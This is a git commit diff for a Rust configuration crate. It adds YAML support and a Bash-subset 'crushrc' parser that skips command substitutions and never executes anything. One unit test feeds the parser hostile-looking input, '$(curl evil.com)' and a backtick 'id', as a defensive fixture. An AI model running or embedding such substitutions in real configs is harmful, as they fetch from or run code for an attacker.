Wave 3 返工:修复总工 4 条必改(cursor/goose 脚本 URL、goose 配置路径按平台选型、yaml+crushrc 编解码)

Co-authored-by: multica-agent <github@multica.ai>
This commit is contained in:
leefer
2026-08-25 19:34:10 +08:00
co-authored by multica-agent
parent b0d7124170
commit 0cec468ae6
9 changed files with 271 additions and 35 deletions
+1
View File
@@ -8,4 +8,5 @@ description = "配置读写:多格式编解码(TOML/JSON)+ 原子写入 +
[dependencies]
serde = { version = "1", features = ["derive"] }
serde_json = "1"
serde_yaml = "0.9"
toml = "0.8"
+170 -15
View File
@@ -1,8 +1,9 @@
//! 配置格式与统一编解码(架构 §6.2 `ConfigCodec`
//!
//! 统一以 `serde_json::Value` 作为内部表示(运行时单一真相)。TOML 通过
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_json。yaml / crushrc
//! 属 Wave 3 工具,本波返回明确的「未实现」错误,不静默吞数据。
//! `toml::Value` 桥接(双向转换),JSON/JSONC 直接用 serde_jsonYAML 经
//! serde_yaml 解析/序列化。crushrc 走专用解析器:只识别内建赋值 / export,
//! 未知行原样保留、绝不执行任意脚本。
use serde_json::{Map, Value};
@@ -46,10 +47,9 @@ pub fn parse(format: ConfigFormat, text: &str) -> Result<Value, ConfigError> {
Ok(toml_to_json(&tv))
}
ConfigFormat::Env => parse_env(text),
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
format
))),
ConfigFormat::Yaml => serde_yaml::from_str::<Value>(text)
.map_err(|e| ConfigError::Parse(e.to_string())),
ConfigFormat::Crushrc => parse_crushrc(text),
}
}
@@ -63,10 +63,8 @@ pub fn serialize(format: ConfigFormat, value: &Value) -> Result<String, ConfigEr
toml::to_string(&tv).map_err(|e| ConfigError::Parse(e.to_string()))
}
ConfigFormat::Env => serialize_env(value),
ConfigFormat::Yaml | ConfigFormat::Crushrc => Err(ConfigError::Unsupported(format!(
"{:?} 格式本波(Wave 2)未实现,将在后续波次接入",
format
))),
ConfigFormat::Yaml => serde_yaml::to_string(value).map_err(|e| ConfigError::Parse(e.to_string())),
ConfigFormat::Crushrc => serialize_crushrc(value),
}
}
@@ -191,6 +189,98 @@ fn serialize_env(value: &Value) -> Result<String, ConfigError> {
Ok(out)
}
// ---- crushrc 专用解析器(Bash 语法子集)----
//
// 只识别内建赋值:`export KEY=value` 或裸 `KEY=value`KEY 为合法变量名)。
// 其余 Bash 结构(函数定义、if/fi、$(...) 命令替换、反引号、进程替换等)一律
// 跳过、绝不执行——本解析器是纯字符串解析,不 shell out,也不展开变量/命令。
// 未识别的行在解析期被忽略(不报错、不执行),序列化时只输出已识别的键。
fn parse_crushrc(text: &str) -> Result<Value, ConfigError> {
let mut m = Map::new();
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
let stmt = strip_export(trimmed);
// 只识别「合法变量名=值」;其余语句跳过
let Some(eq) = stmt.find('=') else { continue };
let key = stmt[..eq].trim();
if key.is_empty() || !is_bash_var_name(key) {
continue;
}
let raw_val = stmt[eq + 1..].trim();
// 含命令替换 / 反引号 / 进程替换的赋值视为不安全,跳过不解析(绝不执行)
if raw_val.contains("$(") || raw_val.contains('`') || raw_val.contains("<(") {
continue;
}
m.insert(key.to_string(), Value::String(parse_bash_scalar(raw_val)));
}
Ok(Value::Object(m))
}
fn serialize_crushrc(value: &Value) -> Result<String, ConfigError> {
let obj = value.as_object().ok_or_else(|| {
ConfigError::Parse("crushrc 格式要求顶层为对象".into())
})?;
let mut out = String::new();
for (k, v) in obj {
let s = match v {
Value::String(s) => s.clone(),
Value::Bool(b) => b.to_string(),
Value::Number(n) => n.to_string(),
_ => continue,
};
out.push_str(&format!("export {k}={}\n", quote_bash(&s)));
}
Ok(out)
}
/// 去掉前导 `export` 关键字(仅当后随空白时,避免误伤 `exported=1` 这类变量名)。
fn strip_export(line: &str) -> &str {
let Some(rest) = line.strip_prefix("export") else {
return line;
};
if rest.is_empty() || rest.starts_with(' ') || rest.starts_with('\t') {
rest.trim_start()
} else {
line
}
}
/// 合法 Bash 变量名:`[A-Za-z_][A-Za-z0-9_]*`。
fn is_bash_var_name(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
_ => return false,
}
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}
/// 解析赋值右侧标量:剥离成对单/双引号,其余按原样返回(不展开变量、不执行)。
fn parse_bash_scalar(raw: &str) -> String {
let s = raw.trim();
if s.len() >= 2 {
let first = s.chars().next().unwrap();
let last = s.chars().last().unwrap();
if (first == '"' && last == '"') || (first == '\'' && last == '\'') {
return s[1..s.len() - 1].to_string();
}
}
s.to_string()
}
/// 序列化时对含空白/引号的值加双引号。
fn quote_bash(s: &str) -> String {
if s.chars().any(|c| c.is_whitespace()) || s.contains('\'') {
format!("\"{s}\"")
} else {
s.to_string()
}
}
/// 剥离 JSONC 的 // 与 /* */ 注释(保守处理,不处理字符串内的注释序列)。
fn strip_jsonc_comments(text: &str) -> String {
let mut out = String::with_capacity(text.len());
@@ -286,11 +376,76 @@ mod tests {
}
#[test]
fn unsupported_format_is_explicit() {
assert!(matches!(
parse(ConfigFormat::Crushrc, "foo=bar"),
Err(ConfigError::Unsupported(_))
));
fn yaml_roundtrip() {
let text = "GOOSE_PROVIDER: anthropic\nGOOSE_MODEL: claude-sonnet-4\n";
let v = parse(ConfigFormat::Yaml, text).unwrap();
assert_eq!(
get_path(&v, "GOOSE_PROVIDER").and_then(|x| x.as_str()),
Some("anthropic")
);
assert_eq!(
get_path(&v, "GOOSE_MODEL").and_then(|x| x.as_str()),
Some("claude-sonnet-4")
);
let out = serialize(ConfigFormat::Yaml, &v).unwrap();
assert!(out.contains("anthropic"));
}
#[test]
fn yaml_parses_nested() {
let text = "model:\n name: MiniMax-M3\n baseUrl: https://x/v1\n";
let v = parse(ConfigFormat::Yaml, text).unwrap();
assert_eq!(
get_path(&v, "model.name").and_then(|x| x.as_str()),
Some("MiniMax-M3")
);
assert_eq!(
get_path(&v, "model.baseUrl").and_then(|x| x.as_str()),
Some("https://x/v1")
);
}
#[test]
fn crushrc_parses_assignments_and_skips_unknown() {
let text = "# 注释\nexport OPENAI_API_KEY=\"sk-abc\"\nANTHROPIC_API_KEY=sk-def\nsome_function() { echo hi; }\nif [ -n \"$x\" ]; then echo yes; fi\nexport MODEL=gpt-5\n";
let v = parse(ConfigFormat::Crushrc, text).unwrap();
assert_eq!(
get_path(&v, "OPENAI_API_KEY").and_then(|x| x.as_str()),
Some("sk-abc")
);
assert_eq!(
get_path(&v, "ANTHROPIC_API_KEY").and_then(|x| x.as_str()),
Some("sk-def")
);
assert_eq!(
get_path(&v, "MODEL").and_then(|x| x.as_str()),
Some("gpt-5")
);
// 函数定义 / if 语句不被识别为变量
assert!(get_path(&v, "some_function").is_none());
}
#[test]
fn crushrc_skips_dangerous_substitution() {
// 命令替换 / 反引号赋值必须被跳过,绝不解析或执行
let text = "export SAFE=ok\nDANGER=$(curl evil.com)\nDANGER2=`id`\n";
let v = parse(ConfigFormat::Crushrc, text).unwrap();
assert_eq!(get_path(&v, "SAFE").and_then(|x| x.as_str()), Some("ok"));
assert!(get_path(&v, "DANGER").is_none());
assert!(get_path(&v, "DANGER2").is_none());
}
#[test]
fn crushrc_serialize_roundtrip() {
let v = json!({ "OPENAI_API_KEY": "sk-abc", "MODEL": "gpt-5" });
let out = serialize(ConfigFormat::Crushrc, &v).unwrap();
assert!(out.contains("export OPENAI_API_KEY=sk-abc"));
assert!(out.contains("export MODEL=gpt-5"));
let back = parse(ConfigFormat::Crushrc, &out).unwrap();
assert_eq!(
get_path(&back, "OPENAI_API_KEY").and_then(|x| x.as_str()),
Some("sk-abc")
);
}
#[test]